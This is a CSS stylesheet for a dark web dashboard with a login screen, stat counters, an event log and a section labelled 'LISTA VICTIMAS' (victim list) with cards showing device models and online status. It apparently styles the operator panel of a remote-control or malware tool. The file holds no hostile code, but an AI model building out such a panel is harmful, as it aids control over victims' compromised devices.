:root {
 --bg: #0b0f14;
 --bg2: #111823;
 --bg3: #16202e;
 --line: #1f2c3d;
 --txt: #e6edf3;
 --txt2: #8b9bb0;
 --acc: #2f81f7;
 --acc2: #1f6feb;
 --ok: #2ea043;
 --warn: #d29922;
 --err: #f85149;
 --radius: 10px;
 --shadow: 0 8px 24px rgba(0,0,0,.45);
}

* { box-sizing: border-box; margin: 0; padding: 0; }

body {
 font-family: -apple-system, "Segoe UI", Roboto, sans-serif;
 background: var(--bg);
 color: var(--txt);
 font-size: 14px;
 line-height: 1.5;
 min-height: 100vh;
}

.hidden { display: none !important; }

/* ---------- LOGIN ---------- */
.login-wrap {
 min-height: 100vh;
 display: flex;
 align-items: center;
 justify-content: center;
 background: radial-gradient(circle at 50% 0%, #16202e 0%, #0b0f14 60%);
 padding: 20px;
}
.login-card {
 width: 100%;
 max-width: 380px;
 background: var(--bg2);
 border: 1px solid var(--line);
 border-radius: var(--radius);
 padding: 32px 28px;
 box-shadow: var(--shadow);
}
.login-card h1 {
 font-size: 22px;
 margin-bottom: 4px;
 letter-spacing:.5px;
}
.login-card.sub {
 color: var(--txt2);
 font-size: 13px;
 margin-bottom: 24px;
}
.login-card.logo {
 width: 48px; height: 48px;
 border-radius: 12px;
 background: linear-gradient(135deg, var(--acc), #6f42c1);
 display: flex; align-items: center; justify-content: center;
 font-weight: 700; font-size: 20px;
 margin-bottom: 16px;
}

/* ---------- FORM ---------- */
label {
 display: block;
 font-size: 12px;
 color: var(--txt2);
 margin-bottom: 6px;
 text-transform: uppercase;
 letter-spacing:.5px;
}
input, select, textarea {
 width: 100%;
 background: var(--bg3);
 border: 1px solid var(--line);
 color: var(--txt);
 padding: 10px 12px;
 border-radius: 8px;
 font-size: 14px;
 font-family: inherit;
 outline: none;
 transition: border-color.15s;
}
input:focus, select:focus, textarea:focus { border-color: var(--acc); }
.campo { margin-bottom: 16px; }

button {
 cursor: pointer;
 font-family: inherit;
 font-size: 14px;
 border: none;
 border-radius: 8px;
 padding: 10px 16px;
 background: var(--acc);
 color: #fff;
 font-weight: 600;
 transition: background.15s, opacity.15s;
}
button:hover { background: var(--acc2); }
button:disabled { opacity:.5; cursor: not-allowed; }
button.sec {
 background: transparent;
 border: 1px solid var(--line);
 color: var(--txt);
 font-weight: 500;
}
button.sec:hover { background: var(--bg3); }
button.danger { background: var(--err); }
button.danger:hover { background: #d63a32; }
button.full { width: 100%; }

/* ---------- LAYOUT ---------- */
.topbar {
 height: 56px;
 background: var(--bg2);
 border-bottom: 1px solid var(--line);
 display: flex;
 align-items: center;
 justify-content: space-between;
 padding: 0 20px;
 position: sticky; top: 0; z-index: 50;
}
.topbar.brand {
 display: flex; align-items: center; gap: 10px;
 font-weight: 700; letter-spacing:.5px;
}
.topbar.brand.dot-logo {
 width: 28px; height: 28px; border-radius: 8px;
 background: linear-gradient(135deg, var(--acc), #6f42c1);
 display: flex; align-items: center; justify-content: center;
 font-size: 13px;
}
.topbar.user {
 display: flex; align-items: center; gap: 12px;
 font-size: 13px; color: var(--txt2);
}
.topbar.user b { color: var(--txt); }

.layout {
 display: grid;
 grid-template-columns: 280px 1fr;
 gap: 16px;
 padding: 16px;
 max-width: 1600px;
 margin: 0 auto;
}
@media (max-width: 900px) {
.layout { grid-template-columns: 1fr; }
}

.card {
 background: var(--bg2);
 border: 1px solid var(--line);
 border-radius: var(--radius);
 padding: 16px;
}
.card h2 {
 font-size: 13px;
 text-transform: uppercase;
 letter-spacing:.8px;
 color: var(--txt2);
 margin-bottom: 14px;
 display: flex;
 align-items: center;
 justify-content: space-between;
}

/* ---------- STATS ---------- */
.stats {
 display: grid;
 grid-template-columns: repeat(3, 1fr);
 gap: 10px;
 margin-bottom: 16px;
}
.stat {
 background: var(--bg2);
 border: 1px solid var(--line);
 border-radius: var(--radius);
 padding: 14px;
 text-align: center;
}
.stat.n { font-size: 24px; font-weight: 700; }
.stat.l { font-size: 11px; color: var(--txt2); text-transform: uppercase; letter-spacing:.5px; }
.stat.on.n { color: var(--ok); }
.stat.tot.n { color: var(--acc); }
.stat.op.n { color: var(--warn); }

/* ---------- LISTA VICTIMAS ---------- */
.lista { display: flex; flex-direction: column; gap: 8px; max-height: 70vh; overflow-y: auto; }
.vcard {
 background: var(--bg3);
 border: 1px solid var(--line);
 border-radius: 8px;
 padding: 12px;
 cursor: pointer;
 transition: border-color.15s, background.15s;
}
.vcard:hover { border-color: var(--acc); }
.vcard.selected { border-color: var(--acc); background: #16283f; }
.vcard.vid {
 display: flex; align-items: center; gap: 8px;
 font-weight: 600; margin-bottom: 4px;
}
.vcard.vmodel { font-size: 12px; color: var(--txt2); }
.dot {
 width: 8px; height: 8px; border-radius: 50%;
 display: inline-block; flex-shrink: 0;
}
.dot.on { background: var(--ok); box-shadow: 0 0 8px var(--ok); }
.dot.off { background: #555; }
.tag {
 display: inline-block;
 font-size: 11px;
 background: #1f3a5f;
 color: #79b8ff;
 padding: 2px 8px;
 border-radius: 20px;
 margin-top: 6px;
}
.vacio {
 color: var(--txt2);
 font-size: 13px;
 text-align: center;
 padding: 24px 12px;
}

/* ---------- TABLA ---------- */
table { width: 100%; border-collapse: collapse; font-size: 13px; }
th, td { text-align: left; padding: 10px 8px; border-bottom: 1px solid var(--line); }
th { color: var(--txt2); font-size: 11px; text-transform: uppercase; letter-spacing:.5px; }
tr:last-child td { border-bottom: none; }

/* ---------- FORM INLINE ---------- */
.form-inline {
 display: flex;
 gap: 8px;
 flex-wrap: wrap;
 align-items: flex-end;
}
.form-inline.campo { margin-bottom: 0; flex: 1; min-width: 120px; }

/* ---------- LOG ---------- */
.log {
 background: #06090d;
 border: 1px solid var(--line);
 border-radius: 8px;
 padding: 12px;
 font-family: "SF Mono", Consolas, monospace;
 font-size: 12px;
 max-height: 320px;
 overflow-y: auto;
 color: #9fb3c8;
}
.log.ev { padding: 3px 0; border-bottom: 1px solid #0f1620; }
.log.ev b { color: var(--acc); }

/* ---------- TOAST ---------- */
#toast {
 position: fixed;
 bottom: 24px; right: 24px;
 background: var(--bg3);
 border: 1px solid var(--line);
 border-left: 3px solid var(--acc);
 padding: 12px 18px;
 border-radius: 8px;
 box-shadow: var(--shadow);
 font-size: 13px;
 z-index: 999;
 transform: translateY(20px);
 opacity: 0;
 transition: all.25s;
 pointer-events: none;
}
#toast.show { transform: translateY(0); opacity: 1; }
#toast.err { border-left-color: var(--err); }
#toast.ok { border-left-color: var(--ok); }